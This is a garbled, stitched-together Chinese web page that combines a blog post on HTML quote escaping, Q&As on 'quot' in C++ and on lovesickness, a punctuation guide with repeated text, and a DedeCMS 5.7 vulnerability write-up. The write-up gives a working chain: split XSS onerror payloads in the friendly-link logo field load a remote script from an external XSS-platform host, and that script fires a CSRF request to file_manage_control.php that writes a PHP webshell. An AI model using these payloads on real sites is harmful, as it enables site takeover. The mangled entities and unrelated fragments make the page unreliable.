2136人阅读
今天在用TRS后台编辑了一个HTML模版保存并发布之后，预览修改之后的页面就报错了。但是我仅仅加入了下面红色的代码
&span style=&color: #ff0000;&&内容&/span&
于是我将上面的的代码去掉又正常了，那问题就出现在我添加的代码中了，但是看看代码没有什么错误呀，于是有看看模版其他代码发现了&和&的代码
上网搜索了下发现&是单引号的转义符，&是双引号的转义符。我就依葫芦画瓢将上面的代码改为
&span style=&color: #ff0000;&&内容&/span&
保存发布预览OK了!
版权声明：本文为博主原创文章，未经博主允许不得转载。
* 以上用户言论只代表其个人观点，不代表CSDN网站的观点或立场
访问：147449次
积分：1832
积分：1832
排名：第11285名
原创：35篇
转载：55篇
评论：26条
(5)(1)(2)(3)(2)(2)(4)(1)(3)(1)(2)(4)(3)(1)(2)(4)(6)(5)(5)(3)(2)(2)(4)(9)(4)(2)(3)(1)(4)quot在C++中是什么意思？_百度知道
quot在C++中是什么意思？
uot在HTML语言中表示引号&,在程序中可以把它当作变量名,函数名,它不是C++的关键字
其他类似问题
为您推荐：
其他1条回答
c++中没这个关键字，是不是自定义的函数或者变量啊
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁DedeCMS-V5.7-UTF8-SP1 csrf getshell 无需会员中心
最近csrf又火了哈，各种csrf脱裤。dede后台挺方便就直接写getshell了
一直在白盒今天试试黑盒 结果发现了这个问题
不用注册，3条请求getshell
测试版本号
在黑盒测试友情链接功能的时候发现filter的一个bug
网站logo处提交&&_&'&&&发现后台显示logo时居然成功引入了双引号闭合了src属性。
经过多次测试发现 只要单引号后面跟&就能成功闭合双引号
于是提交测试代码
'& onerror=alert(1);//
成功弹出了alert
先用xss平台创建一个项目，然后自定义代码这里用的pkav的post get模块
http://192.168.1.114/dede/file_manage_control.php
fmdo=edit&backurl=&activepath=&filename=csrf.php&str=%3C%3Fphp+phpinfo%28%29%3B%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++
因为此处字符长度有限制所以将payload拆分为3段 分别提交
'& onerror=s.src='http://xss平台/KCfTiA';//
'& onerror=body.appendChild(s);//
'& onerror=s=createElement('script');//
注意显示的顺序与提交的顺序是相反的 所以要把payload顺序倒过来
提交完后访问后台友情链接模块
可以看到访问了js 然后访问了file_manage_control.php
文件管理可以看到shell已经躺在目录里了
修复方案：
xss 过滤器
您对本文章有什么意见或着疑问吗？请到您的关注和建议是我们前行的参考和动力&&
您的浏览器不支持嵌入式框架，或者当前配置为不显示嵌入式框架。相思病是什么症状？
相思病是什么症状？
这是一个什么情况？求解释，求解答，求治疗，求同情，求良药…
相思病与精神病很接近，可以导致癫狂、抑郁、迷茫、狂躁、妄想等症状，严重者可致命。 第一种相思病是单向的，即单相思。
第二种相思病是双向的，但是这种相思如果染上偏执的色彩，同样会对双方造成伤害。
其他回答 (9)
英国心理学家研究发现，相思不仅能激发人们作诗抒情的灵感，更有可能对人的精神和心理产生伤害。相思病，的确是一种精神疾病，不可一笑置之。&据法新社报道， 英国心理学家弗兰克-托里斯博士在《心理学家》杂志上发表文章说，在过去，由于爱情挫折造成的癫狂、抑郁和迷茫经常被渲染上罗曼蒂克的色彩，很少有人将其视为医学问题严肃对待。&托里斯博士警告说，严重的相思病往往是致命的。&古代医生创造了相思病的说法，但到了现代，相思病却只是被大众用来描述一种精神状态，并不属于医学领域。媒体在报道时，多用引号括起来，而临床医生在登记病例的时候，更不会写上“相思病”这几个字。&单相思者常常陷入极其难堪、苦闷和烦恼的境地，不仅影响学业、事业，而且影响身心健康。那么，如何摆脱单相思的烦恼呢？唐教授认为，首先，必须认识到恋爱是男女双方的两厢情愿，检查一下自己是否产生了不现实的期望或不可能得到回应。如果是就要对自己单方面的思恋加以否定。俗话说，强扭的瓜不甜。爱情是不能强求的，更不能去乞求。&但如果仔细分析就会发现，同普通感冒一样，相思病患者有着共同的病因――为爱受伤，有着相同的症状――躁动、抑郁或者失去理智。病情较轻的时候，患者会无法控制地打电话、查邮件；当病入膏肓的时候，患者可能选择自杀。 托里斯博士说，现在是拿出时间，继承古代医学前辈的理论，认真研究相思病治疗方法的时候了&过分相思找心理医生聊聊&近年来，随着现代精神医学和心理学的发展，相思病已经引起有关专家的关注，英国的心理学家弗兰克·托里斯博士认为：相思病与精神病很接近，可以导致癫狂、抑郁、迷茫、狂躁、妄想等症状，严重者可致命。&相思病有以下几种常见的类型：第一种相思病是单向的，即单相思。例如红楼梦中的尤三姐，当贾琏逼她出嫁时，她才在无奈之下说出了她爱的人是柳湘莲，可是由于她从来没有向对方表白过，所以对方也没有机会接近她、了解她。最后，柳湘莲仅根据“贾府除了门前的两只石狮子干净罢了！”的传言毅然拒绝了她纯洁的爱情，逼得她自刎以明志，柳湘莲则因自责而出家远行。&第二种相思病是双向的，但是这种相思如果染上偏执的色彩，同样会对双方造成伤害。梁山伯与祝英台的爱情故事就属于这一种。梁祝二人相互爱恋，但是却遭到了祝英台父母的反对，梁山伯因为得不到爱情患上了心身疾病，最后郁郁而终，祝英台最后也殉情自尽。&第三种相思病是反向的，这种情况实际上是一种精神疾病，患者往往坚信某一位异性已经爱上了他（她），虽然他们可能没有说过一句话。对此，患者往往有似是而非的解释，例如认为有人破坏他们的爱情，想拆散他们，这在精神病学上称作被钟情妄想。&在前两种情况中，患者的言语和行为往往能被周围人理解，他们的问题主要出在心理上，需要系统的心理治疗，使他们对情感和客观世界有一个冷静的认识。后一种情况属于精神疾病，需要精神药物治疗，后期配合心理治疗，以改善他们对问题的认知。&给“相思病”患者送副良药&人世间大约要算相思病最为痛苦了，轻者影响工作和学习，重者可影响身心健康，甚至英年殒命。治疗相思病，心病还需心药治，以下就是给相思病患者送的良药。&疏泄疗法：把自己惊天地泣鬼神的爱情尽情表达出来，倘若表达水平欠佳，大哭、大叫、大闹（最好和自己闹）一场也无妨。古人们在九月初九登高呼啸，其实就是一种疏泄平素失意怨恨的方式。或向知己、要好的朋友倾诉。高水平的疏泄，是将感情升华，投入艺术创作或发奋在学业、事业上。最简单的疏泄，是将得病经历详尽地如讲故事般写出来。您若能将自己的一颗热情的心跃然纸上，必然会减轻心理上的痛苦。&厌恶疗法：您极爱他（她），对方不领情，那么再将对方看得卓绝优秀的理由就不充分了。或许您以往犯了“恋爱错觉”，对方其实是普通平庸之辈，再像样的人，也会有不少欠缺。不妨在此时，定下心来寻找对方的缺点，这样会有利于您冷却自己火热的心。然后，您将会平静下来，想到“天涯何处无芳草”这句名言。&认知疗法：细细地研究一番**的学问。性与爱，是两个元素，两者常合在一起。此刻请患者学会分解**，把爱提取出来。爱是什么？爱一个人，并非要共同生活不可。爱是奉献，不像性那样强调结合、占有。真正的爱，应该是大方并不自私，只有性是自私的。&战胜自己：激扬个人的自尊自爱，学会把握自己。
什么事情都会联想到她，基本上大多数时候都在想着她，只有她才能帮你，因为解铃还须系铃人
胡思乱想咯
相当于抑郁症
心里痒痒的
症状：不时发呆，时而傻笑、时而忧愁。
治疗方法：心病还需心药医。
良药：思念的对象
坐立不安;茶饭不思,忽喜忽悲等等是其症状;基本无药可医.除非心里想的那一个人出现
见面时既高兴又紧张，见不着又会想，又有着想依赖的感觉吧！
爱就追啊！
就是没事就想那个人
相关知识等待您来回答
恋爱领域专家
& &SOGOU - 京ICP证050897号您还未登陆，请登录后操作！
关于标点符号的使用
中常用的标点符号又有哪些呢?又有什么作用
句号 ：1.用于陈述句句末。2.用于语气舒缓的祈使句末尾
问号：1.用于疑问句末尾。2.用于反问句末尾。
叹号：1.用于感叹句末尾。2.用于语气强烈的祈使句末尾。3.用于语气强烈的反问句末尾。
逗号：1.句子内部主语与谓语之间如需停顿，用逗号。2.句子内部动词与宾语之间如需停顿，用逗号。3.句子内部状语后边如需停顿，用逗号。4.复句内各分句之间的停顿，除了有时要用分号外，都要用逗号。
顿号：用于句子内部并列词语之间的停顿。
分号：1.用于复句内部并列分句之间的停顿。2.用于分行列举的各项之间。
冒号：1.用于称呼语后边，表示提起下文。2.用于“说、想、是、证明、宣布、指出、透露、例如、如下”等词语后边，表示提起下文。3.用于总说性话语的后边，表示引起下文的分说。4.用于需要解释的词语后边，表示引出解释或说明。5.用于总括性话语的前边，以总结上文。
引号：1.用于行文中直接引用的部分。2.用于需要着重论述的对象。3.用于具有特殊含义的词语。4.引号里面还要用引号时，外面用双引号，里面用单引号。
句号 ：1.用于陈述句句末。2.用于语气舒缓的祈使句末尾
问号：1.用于疑问句末尾。2.用于反问句末尾。
叹号：1.用于感叹句末尾。2.用于语气强烈的祈使句末尾。3.用于语气强烈的反问句末尾。
逗号：1.句子内部主语与谓语之间如需停顿，用逗号。2.句子内部动词与宾语之间如需停顿，用逗号。3.句子内部状语后边如需停顿，用逗号。4.复句内各分句之间的停顿，除了有时要用分号外，都要用逗号。
顿号：用于句子内部并列词语之间的停顿。
分号：1.用于复句内部并列分句之间的停顿。2.用于分行列举的各项之间。
冒号：1.用于称呼语后边，表示提起下文。2.用于“说、想、是、证明、宣布、指出、透露、例如、如下”等词语后边，表示提起下文。3.用于总说性话语的后边，表示引起下文的分说。4.用于需要解释的词语后边，表示引出解释或说明。5.用于总括性话语的前边，以总结上文。
引号：1.用于行文中直接引用的部分。2.用于需要着重论述的对象。3.用于具有特殊含义的词语。4.引号里面还要用引号时，外面用双引号，里面用单引号。
括号：用于行文中注释性的部分。注释句子中某些词语的，括注紧贴在被注释词语之后；注释整个句子的，括注放在句末标点之后。
（详见新华字典常用标点符号用法简表）
在最后面哦
大家还关注